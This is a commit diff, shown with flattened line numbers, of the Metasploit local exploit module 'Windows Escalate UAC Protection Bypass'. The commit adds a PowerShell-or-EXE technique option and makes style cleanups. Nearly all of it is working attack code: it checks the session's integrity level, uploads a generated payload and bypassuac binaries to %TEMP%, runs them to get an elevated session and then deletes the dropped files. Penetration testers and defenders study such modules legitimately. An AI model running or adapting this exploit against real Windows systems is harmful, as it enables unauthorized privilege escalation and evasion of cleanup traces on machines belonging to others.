4
4
##
5
5
6
6
require 'msf/core'
7
- require 'msf/core/exploit/exe'
8
7
9
8
class Metasploit3 < Msf ::Exploit ::Local
10
9
Rank = ExcellentRanking
11
10
12
11
include Exploit ::EXE
13
12
include Post ::File
14
13
include Post ::Windows ::Priv
14
+ include Post ::Windows ::Runas
15
15
16
16
def initialize ( info = { } )
17
- super ( update_info ( info ,
17
+ super ( update_info ( info ,
18
18
'Name' => 'Windows Escalate UAC Protection Bypass' ,
19
19
'Description' => %q{
20
20
This module will bypass Windows UAC by utilizing the trusted publisher
@@ -23,9 +23,9 @@ def initialize(info={})
23
23
} ,
24
24
'License' => MSF_LICENSE ,
25
25
'Author' => [
26
- 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ,
27
- 'mitnick' ,
28
- 'mubix' # Port to local exploit
26
+ 'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' ,
27
+ 'mitnick' ,
28
+ 'mubix' # Port to local exploit
29
29
] ,
30
30
'Platform' => [ 'win' ] ,
31
31
'SessionTypes' => [ 'meterpreter' ] ,
@@ -40,6 +40,11 @@ def initialize(info={})
40
40
'DisclosureDate' => "Dec 31 2010"
41
41
) )
42
42
43
+ register_options ( [
44
+ OptEnum . new ( 'TECHNIQUE' , [ true , 'Technique to use if UAC is turned off' ,
45
+ 'EXE' , %w( PSH EXE ) ] ) ,
46
+ ] )
47
+
43
48
end
44
49
45
50
def check_permissions!
@@ -54,12 +59,12 @@ def check_permissions!
54
59
if admin_group
55
60
print_good ( 'Part of Administrators group! Continuing...' )
56
61
else
57
- fail_with ( Exploit ::Failure ::NoAccess , " Not in admins group, cannot escalate with this module" )
62
+ fail_with ( Exploit ::Failure ::NoAccess , ' Not in admins group, cannot escalate with this module' )
58
63
end
59
64
end
60
65
61
66
if get_integrity_level == INTEGRITY_LEVEL_SID [ :low ]
62
- fail_with ( Exploit ::Failure ::NoAccess , " Cannot BypassUAC from Low Integrity Level" )
67
+ fail_with ( Exploit ::Failure ::NoAccess , ' Cannot BypassUAC from Low Integrity Level' )
63
68
end
64
69
end
65
70
@@ -72,8 +77,8 @@ def exploit
72
77
"UAC is set to 'Always Notify'\r \n This module does not bypass this setting, exiting..."
73
78
)
74
79
when UAC_DEFAULT
75
- print_good " UAC is set to Default"
76
- print_good " BypassUAC can bypass this setting, continuing..."
80
+ print_good ' UAC is set to Default'
81
+ print_good ' BypassUAC can bypass this setting, continuing...'
77
82
when UAC_NO_PROMPT
78
83
print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
79
84
runas_method
@@ -89,15 +94,13 @@ def exploit
89
94
pid = cmd_exec_get_pid ( cmd )
90
95
91
96
::Timeout . timeout ( 30 ) do
92
- until session_created? do
93
- select ( nil , nil , nil , 1 )
94
- end
97
+ select ( nil , nil , nil , 1 ) until session_created?
95
98
end
96
99
session . sys . process . kill ( pid )
97
100
# delete the uac bypass payload
98
101
file_rm ( path_bypass )
99
102
file_rm ( "#{ expand_path ( "%TEMP%" ) } \\ tior.exe" )
100
- cmd_exec ( " cmd.exe" , "/c del \" #{ expand_path ( "%TEMP%" ) } \\ w7e*.tmp\" " )
103
+ cmd_exec ( ' cmd.exe' , "/c del \" #{ expand_path ( "%TEMP%" ) } \\ w7e*.tmp\" " )
101
104
end
102
105
103
106
def path_bypass
@@ -109,24 +112,24 @@ def path_payload
109
112
end
110
113
111
114
def upload_binaries!
112
- print_status ( " Uploaded the agent to the filesystem...." )
115
+ print_status ( ' Uploaded the agent to the filesystem....' )
113
116
#
114
117
# Generate payload and random names for upload
115
118
#
116
119
payload = generate_payload_exe
117
120
118
121
# path to the bypassuac binary
119
- path = ::File . join ( Msf ::Config . data_directory , " post" )
122
+ path = ::File . join ( Msf ::Config . data_directory , ' post' )
120
123
121
124
# decide, x86 or x64
122
125
bpexe = nil
123
126
if sysinfo [ "Architecture" ] =~ /x64/i
124
- bpexe = ::File . join ( path , " bypassuac-x64.exe" )
127
+ bpexe = ::File . join ( path , ' bypassuac-x64.exe' )
125
128
else
126
- bpexe = ::File . join ( path , " bypassuac-x86.exe" )
129
+ bpexe = ::File . join ( path , ' bypassuac-x86.exe' )
127
130
end
128
131
129
- print_status ( " Uploading the bypass UAC executable to the filesystem..." )
132
+ print_status ( ' Uploading the bypass UAC executable to the filesystem...' )
130
133
131
134
begin
132
135
#
@@ -143,38 +146,35 @@ def upload_binaries!
143
146
end
144
147
145
148
def runas_method
146
- payload = generate_payload_exe
147
- payload_filename = Rex :: Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) ) + ".exe"
148
- tmpdir = expand_path ( "%TEMP%" )
149
- tempexe = tmpdir + " \\ " + payload_filename
150
- write_file ( tempexe , payload )
151
- print_status ( "Uploading payload: #{ tempexe } " )
152
- session . railgun . shell32 . ShellExecuteA ( nil , "runas" , tempexe , nil , nil , 5 )
153
- print_status ( "Payload executed" )
149
+ case datastore [ 'TECHNIQUE' ]
150
+ when 'PSH'
151
+ # execute PSH
152
+ shell_execute_psh
153
+ when 'EXE'
154
+ # execute EXE
155
+ shell_execute_exe
156
+ end
154
157
end
155
158
156
159
def validate_environment!
157
160
fail_with ( Exploit ::Failure ::None , 'Already in elevated state' ) if is_admin? or is_system?
158
161
#
159
162
# Verify use against Vista+
160
163
#
161
- winver = sysinfo [ "OS" ]
164
+ winver = sysinfo [ 'OS' ]
162
165
163
166
unless winver =~ /Windows Vista|Windows 2008|Windows [78]/
164
167
fail_with ( Exploit ::Failure ::NotVulnerable , "#{ winver } is not vulnerable." )
165
168
end
166
169
167
170
if is_uac_enabled?
168
- print_status " UAC is Enabled, checking level..."
171
+ print_status ' UAC is Enabled, checking level...'
169
172
else
170
173
if is_in_admin_group?
171
- fail_with ( Exploit ::Failure ::Unknown , " UAC is disabled and we are in the admin group so something has gone wrong..." )
174
+ fail_with ( Exploit ::Failure ::Unknown , ' UAC is disabled and we are in the admin group so something has gone wrong...' )
172
175
else
173
- fail_with ( Exploit ::Failure ::NoAccess , " Not in admins group, cannot escalate with this module" )
176
+ fail_with ( Exploit ::Failure ::NoAccess , ' Not in admins group, cannot escalate with this module' )
174
177
end
175
178
end
176
179
end
177
-
178
-
179
180
end
180
-
0 commit comments